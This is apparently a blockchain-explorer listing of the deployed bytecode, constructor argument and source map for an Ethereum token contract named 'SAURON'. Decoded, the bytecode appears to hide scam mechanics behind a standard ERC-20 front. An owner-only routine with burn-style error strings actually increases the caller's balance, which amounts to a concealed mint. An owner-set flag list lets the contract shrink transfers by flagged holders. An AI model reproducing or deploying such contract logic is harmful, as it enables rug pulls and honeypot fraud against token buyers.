4991906132a2565b50505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a5481565b60606040518060400160405280600681526020017f534155524f4e0000000000000000000000000000000000000000000000000000815250905090565b5f610ecd610ec66115e0565b84846117aa565b6001905092915050565b601b5481565b610ee561154f565b80601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fea6115e0565b73ffffffffffffffffffffffffffffffffffffffff1614611009575f80fd5b601054811115801561101d57506011548111155b611025575f80fd5b806010819055508060118190555050565b61103e61154f565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a39061333d565b60405180910390fd5b6110b581612741565b50565b6110c061154f565b601d60159054906101000a900460ff1615611110576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611107906133a5565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111ad3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a611198919061311e565b64746a5288006111a89190613168565b6115e7565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611217573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061123b91906133d7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e591906133d7565b6040518363ffffffff1660e01b8152600401611302929190613402565b6020604051808303815f875af115801561131e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134291906133d7565b601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c930610bac565b5f806113d3610e4f565b426040518863ffffffff1660e01b81526004016113f596959493929190613429565b60606040518083038185885af1158015611411573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114369190613488565b505050601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016114d69291906134d8565b6020604051808303815f875af11580156114f2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061151691906132a2565b506001601d60196101000a81548160ff0219169083151502179055506001601d60156101000a81548160ff021916908315150217905550565b5f806115596115e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d590613549565b60405180910390fd5b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c906135d7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613665565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161179d9190612cf4565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f906136f3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187d90613781565b60405180910390fd5b5f81116118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf9061380f565b60405180910390fd5b5f8060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561194d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119449061389d565b60405180910390fd5b5f60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036119d4574360095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b601d601a9054906101000a900460ff161561207f576119f1610e4f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611a5f5750611a2f610e4f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a9757505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad1575061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611aea5750601d60149054906101000a900460ff16155b1561207e57601d60179054906101000a900460ff16611bde57600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b9e5750600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd49061392b565b60405180910390fd5b5b601d60169054906101000a900460ff1615611da457611bfb610e4f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c83575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdc5750601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611da3574360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d57906139df565b60405180910390fd5b4360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e41575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611ee857601754831115611e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8290613a6d565b60405180910390fd5b601854611e9785610bac565b84611ea29190613a8b565b1115611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda90613b08565b60405180910390fd5b61207d565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f85575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611fd457601754831115611fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc690613b96565b60405180910390fd5b61207c565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661207b5760185461202e85610bac565b846120399190613a8b565b111561207a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207190613b08565b60405180910390fd5b5b5b5b5b5b601d60149054906101000a900460ff161580156120a85750601d601b9054906101000a900460ff165b156120ba576120b785846128c4565b92505b61210a8360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461292f90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121ad612161838561292f90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461297890919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612250858761292f90919063ffffffff16565b60405161225d9190612cf4565b60405180910390a35050505050565b5f8383111582906122b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122aa9190612c54565b60405180910390fd5b505f83856122c19190613bb4565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361233c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233390613c57565b60405180910390fd5b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818111156123c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b790613ce5565b60405180910390fd5b81810160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124619190612cf4565b60405180910390a3505050565b6001601d60186101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156124a5576124a4613d03565b5b6040519080825280602002602001820160405280156124d35781602001602082028036833780820191505090505b50905030815f815181106124ea576124e96131a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561258e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125b291906133d7565b816001815181106125c6576125c56131a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061262c3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e7565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161268e959493929190613de7565b5f604051808303815f87803b1580156126a5575f80fd5b505af11580156126b7573d5f803e3d5ffd5b50505050505f601d60186101000a81548160ff02191690831515021790555050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561273d573d5f803e3d5ffd5b5050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303612814575f9050612875565b5f82846128219190613168565b90508284826128309190613e6c565b14612870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286790613f0c565b60405180910390fd5b809150505b92915050565b5f6128bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129d5565b905092915050565b5f80829050600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612925576129228385612a36565b90505b8091505092915050565b5f61297083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061226c565b905092915050565b5f8082846129869190613a8b565b9050838110156129cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c290613f74565b60405180910390fd5b8091505092915050565b5f8083118290612a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a129190612c54565b60405180910390fd5b505f8385612a299190613e6c565b9050809150509392505050565b5f80603290505f60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205443612a869190613bb4565b90505f8282612a959190613168565b90505f60648211612ab257816064612aad9190613bb4565b612ab4565b5f5b90505f60648289612ac59190613168565b612acf9190613e6c565b9050612ae45f82612af190919063ffffffff16565b9550505050505092915050565b5f81831015612b005781612b02565b825b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612b3b82612b12565b9050919050565b612b4b81612b31565b8114612b55575f80fd5b50565b5f81359050612b6681612b42565b92915050565b5f60208284031215612b8157612b80612b0a565b5b5f612b8e84828501612b58565b91505092915050565b5f8115159050919050565b612bab81612b97565b82525050565b5f602082019050612bc45f830184612ba2565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612c01578082015181840152602081019050612be6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612c2682612bca565b612c308185612bd4565b9350612c40818560208601612be4565b612c4981612c0c565b840191505092915050565b5f6020820190508181035f830152612c6c8184612c1c565b905092915050565b5f819050919050565b612c8681612c74565b8114612c90575f80fd5b50565b5f81359050612ca181612c7d565b92915050565b5f8060408385031215612cbd57612cbc612b0a565b5b5f612cca85828601612b58565b9250506020612cdb85828601612c93565b9150509250929050565b612cee81612c74565b82525050565b5f602082019050612d075f830184612ce5565b92915050565b5f805f60608486031215612d2457612d23612b0a565b5b5f612d3186828701612b58565b9350506020612d4286828701612b58565b9250506040612d5386828701612c93565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612d7e57612d7d612d5d565b5b8235905067ffffffffffffffff811115612d9b57612d9a612d61565b5b602083019150836020820283011115612db757612db6612d65565b5b9250929050565b5f805f60408486031215612dd557612dd4612b0a565b5b5f84013567ffffffffffffffff811115612df257612df1612b0e565b5b612dfe86828701612d69565b93509350506020612e1186828701612c93565b9150509250925092565b5f60ff82169050919050565b612e3081612e1b565b82525050565b5f602082019050612e495f830184612e27565b92915050565b5f60208284031215612e6457612e63612b0a565b5b5f612e7184828501612c93565b91505092915050565b612e8381612b31565b82525050565b5f602082019050612e9c5f830184612e7a565b92915050565b612eab81612b97565b8114612eb5575f80fd5b50565b5f81359050612ec681612ea2565b92915050565b5f805f60408486031215612ee357612ee2612b0a565b5b5f84013567ffffffffffffffff811115612f0057612eff612b0e565b5b612f0c86828701612d69565b93509350506020612f1f86828701612eb8565b9150509250925092565b5f8060408385031215612f3f57612f3e612b0a565b5b5f612f4c85828601612b58565b9250506020612f5d85828601612b58565b9150509250929050565b5f819050919050565b5f819050919050565b5f612f93612f8e612f8984612f67565b612f70565b612c74565b9050919050565b612fa381612f79565b82525050565b5f602082019050612fbc5f830184612f9a565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115613044578086048111156130205761301f612fc2565b5b600185161561302f5780820291505b808102905061303d85612fef565b9450613004565b94509492505050565b5f8261305c5760019050613117565b81613069575f9050613117565b816001811461307f5760028114613089576130b8565b6001915050613117565b60ff84111561309b5761309a612fc2565b5b8360020a9150848211156130b2576130b1612fc2565b5b50613117565b5060208310610133831016604e8410600b84101617156130ed5782820a9050838111156130e8576130e7612fc2565b5b613117565b6130fa8484846001612ffb565b9250905081840481111561311157613110612fc2565b5b81810290505b9392505050565b5f61312882612c74565b915061313383612e1b565b92506131607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461304d565b905092915050565b5f61317282612c74565b915061317d83612c74565b925082820261318b81612c74565b915082820484148315176131a2576131a1612fc2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506131e481612c7d565b92915050565b5f602082840312156131ff576131fe612b0a565b5b5f61320c848285016131d6565b91505092915050565b5f61322f61322a61322584612b12565b612f70565b612b12565b9050919050565b5f61324082613215565b9050919050565b5f61325182613236565b9050919050565b61326181613247565b82525050565b5f60408201905061327a5f830185613258565b6132876020830184612ce5565b9392505050565b5f8151905061329c81612ea2565b92915050565b5f602082840312156132b7576132b6612b0a565b5b5f6132c48482850161328e565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613327602683612bd4565b9150613332826132cd565b604082019050919050565b5f6020820190508181035f8301526133548161331b565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61338f601783612bd4565b915061339a8261335b565b602082019050919050565b5f6020820190508181035f8301526133bc81613383565b9050919050565b5f815190506133d181612b42565b92915050565b5f602082840312156133ec576133eb612b0a565b5b5f6133f9848285016133c3565b91505092915050565b5f6040820190506134155f830185612e7a565b6134226020830184612e7a565b9392505050565b5f60c08201905061343c5f830189612e7a565b6134496020830188612ce5565b6134566040830187612f9a565b6134636060830186612f9a565b6134706080830185612e7a565b61347d60a0830184612ce5565b979650505050505050565b5f805f6060848603121561349f5761349e612b0a565b5b5f6134ac868287016131d6565b93505060206134bd868287016131d6565b92505060406134ce868287016131d6565b9150509250925092565b5f6040820190506134eb5f830185612e7a565b6134f86020830184612ce5565b9392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613533602083612bd4565b915061353e826134ff565b602082019050919050565b5f6020820190508181035f83015261356081613527565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6135c1602483612bd4565b91506135cc82613567565b604082019050919050565b5f6020820190508181035f8301526135ee816135b5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61364f602283612bd4565b915061365a826135f5565b604082019050919050565b5f6020820190508181035f83015261367c81613643565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6136dd602583612bd4565b91506136e882613683565b604082019050919050565b5f6020820190508181035f83015261370a816136d1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61376b602383612bd4565b915061377682613711565b604082019050919050565b5f6020820190508181035f8301526137988161375f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6137f9602983612bd4565b91506138048261379f565b604082019050919050565b5f6020820190508181035f830152613826816137ed565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613887602683612bd4565b91506138928261382d565b604082019050919050565b5f6020820190508181035f8301526138b48161387b565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f742061637469765f8201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b5f613915602283612bd4565b9150613920826138bb565b604082019050919050565b5f6020820190508181035f83015261394281613909565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6139c9604983612bd4565b91506139d482613949565b606082019050919050565b5f6020820190508181035f8301526139f6816139bd565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b5f613a57602683612bd4565b9150613a62826139fd565b604082019050919050565b5f6020820190508181035f830152613a8481613a4b565b9050919050565b5f613a9582612c74565b9150613aa083612c74565b9250828201905080821115613ab857613ab7612fc2565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613af2601383612bd4565b9150613afd82613abe565b602082019050919050565b5f6020820190508181035f830152613b1f81613ae6565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b5f613b80602783612bd4565b9150613b8b82613b26565b604082019050919050565b5f6020820190508181035f830152613bad81613b74565b9050919050565b5f613bbe82612c74565b9150613bc983612c74565b9250828203905081811115613be157613be0612fc2565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f613c41602183612bd4565b9150613c4c82613be7565b604082019050919050565b5f6020820190508181035f830152613c6e81613c35565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ccf602283612bd4565b9150613cda82613c75565b604082019050919050565b5f6020820190508181035f830152613cfc81613cc3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613d6281612b31565b82525050565b5f613d738383613d59565b60208301905092915050565b5f602082019050919050565b5f613d9582613d30565b613d9f8185613d3a565b9350613daa83613d4a565b805f5b83811015613dda578151613dc18882613d68565b9750613dcc83613d7f565b925050600181019050613dad565b5085935050505092915050565b5f60a082019050613dfa5f830188612ce5565b613e076020830187612f9a565b8181036040830152613e198186613d8b565b9050613e286060830185612e7a565b613e356080830184612ce5565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613e7682612c74565b9150613e8183612c74565b925082613e9157613e90613e3f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ef6602183612bd4565b9150613f0182613e9c565b604082019050919050565b5f6020820190508181035f830152613f2381613eea565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613f5e601b83612bd4565b9150613f6982613f2a565b602082019050919050565b5f6020820190508181035f830152613f8b81613f52565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b4c8670a19afe764ab7ab7970f61e39fa9cd093b748e7a15118cc5d15d4b083a64736f6c63430008170033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000004d265accf6c55f0c899d601c5ecbf44b2e5e76d1
-----Decoded View---------------
Arg [0] : marketingWallet_ (address): 0x4D265ACcf6c55f0c899d601c5ECbF44b2E5E76D1
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000004d265accf6c55f0c899d601c5ecbf44b2e5e76d1
Deployed Bytecode Sourcemap
2448:12495:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10866:115;;;;;;;;;;;;;:::i;:::-;;14337:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5196:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6029:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4065:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5473:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6198:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12417:222;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6862:113;;;;;;;;;;;;;:::i;:::-;;4427:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5382:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12085:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4132:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4273:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14577:363;;;;;;;;;;;;;:::i;:::-;;10700:158;;;;;;;;;;;;;:::i;:::-;;5576:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1147:103:1;;;;;;;;;;;;;:::i;:::-;;12958:209:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3870:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12684:266;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;843:87:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3933:58:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5287:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5703:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3998:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14480:89;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5878:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12191:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;938:201:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11408:669:2;;;;;;;;;;;;;:::i;:::-;;10866:115;666:13:1;:11;:13::i;:::-;10935:1:2::1;10920:12;:16;;;;10952:21;10971:1;10952:21;;;;;;:::i;:::-;;;;;;;;10866:115::o:0;14337:134::-;14399:4;14422:30;:41;14453:9;14422:41;;;;;;;;;;;;;;;;;;;;;;;;;14415:48;;14337:134;;;:::o;5196:83::-;5233:13;5266:5;;;;;;;;;;;;;;;;;5259:12;;5196:83;:::o;6029:161::-;6104:4;6121:39;6130:12;:10;:12::i;:::-;6144:7;6153:6;6121:8;:39::i;:::-;6178:4;6171:11;;6029:161;;;;:::o;4065:54::-;;;;:::o;5473:95::-;5526:7;3675:1;3736:2;:13;;;;:::i;:::-;3718:15;:31;;;;:::i;:::-;5546:14;;5473:95;:::o;6198:313::-;6296:4;6313:36;6323:6;6331:9;6342:6;6313:9;:36::i;:::-;6360:121;6369:6;6377:12;:10;:12::i;:::-;6391:89;6429:6;6391:89;;;;;;;;;;;;;;;;;:11;:19;6403:6;6391:19;;;;;;;;;;;;;;;:33;6411:12;:10;:12::i;:::-;6391:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6360:8;:121::i;:::-;6499:4;6492:11;;6198:313;;;;;:::o;12417:222::-;666:13:1;:11;:13::i;:::-;12513:9:2::1;12508:124;12532:10;;:17;;12528:1;:21;12508:124;;;12600:10;;12611:1;12600:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12576:44;;12585:13;;;;;;;;;;;12576:44;;;12615:4;12576:44;;;;;;:::i;:::-;;;;;;;;12551:3;;;;;;;12508:124;;;;12417:222:::0;;;:::o;6862:113::-;666:13:1;:11;:13::i;:::-;6931:4:2::1;6914:14;;:21;;;;;;;;;;;;;;;;;;6962:5;6946:13;;:21;;;;;;;;;;;;;;;;;;6862:113::o:0;4427:32::-;;;;;;;;;;;;;:::o;5382:83::-;5423:5;3675:1;5441:16;;5382:83;:::o;12085:94::-;666:13:1;:11;:13::i;:::-;12144:27:2::1;12150:12;:10;:12::i;:::-;12164:6;12144:5;:27::i;:::-;12085:94:::0;:::o;4132:28::-;;;;;;;;;;;;;:::o;4273:34::-;;;;;;;;;;;;;:::o;14577:363::-;14641:10;;;;;;;;;;;14627:24;;:12;:10;:12::i;:::-;:24;;;14619:33;;;;;;14663:20;14684:24;14702:4;14684:9;:24::i;:::-;14663:45;;14735:1;14722:12;:14;:29;;;;;14740:11;;;;;;;;;;;14722:29;14719:88;;;14765:30;14782:12;14765:16;:30: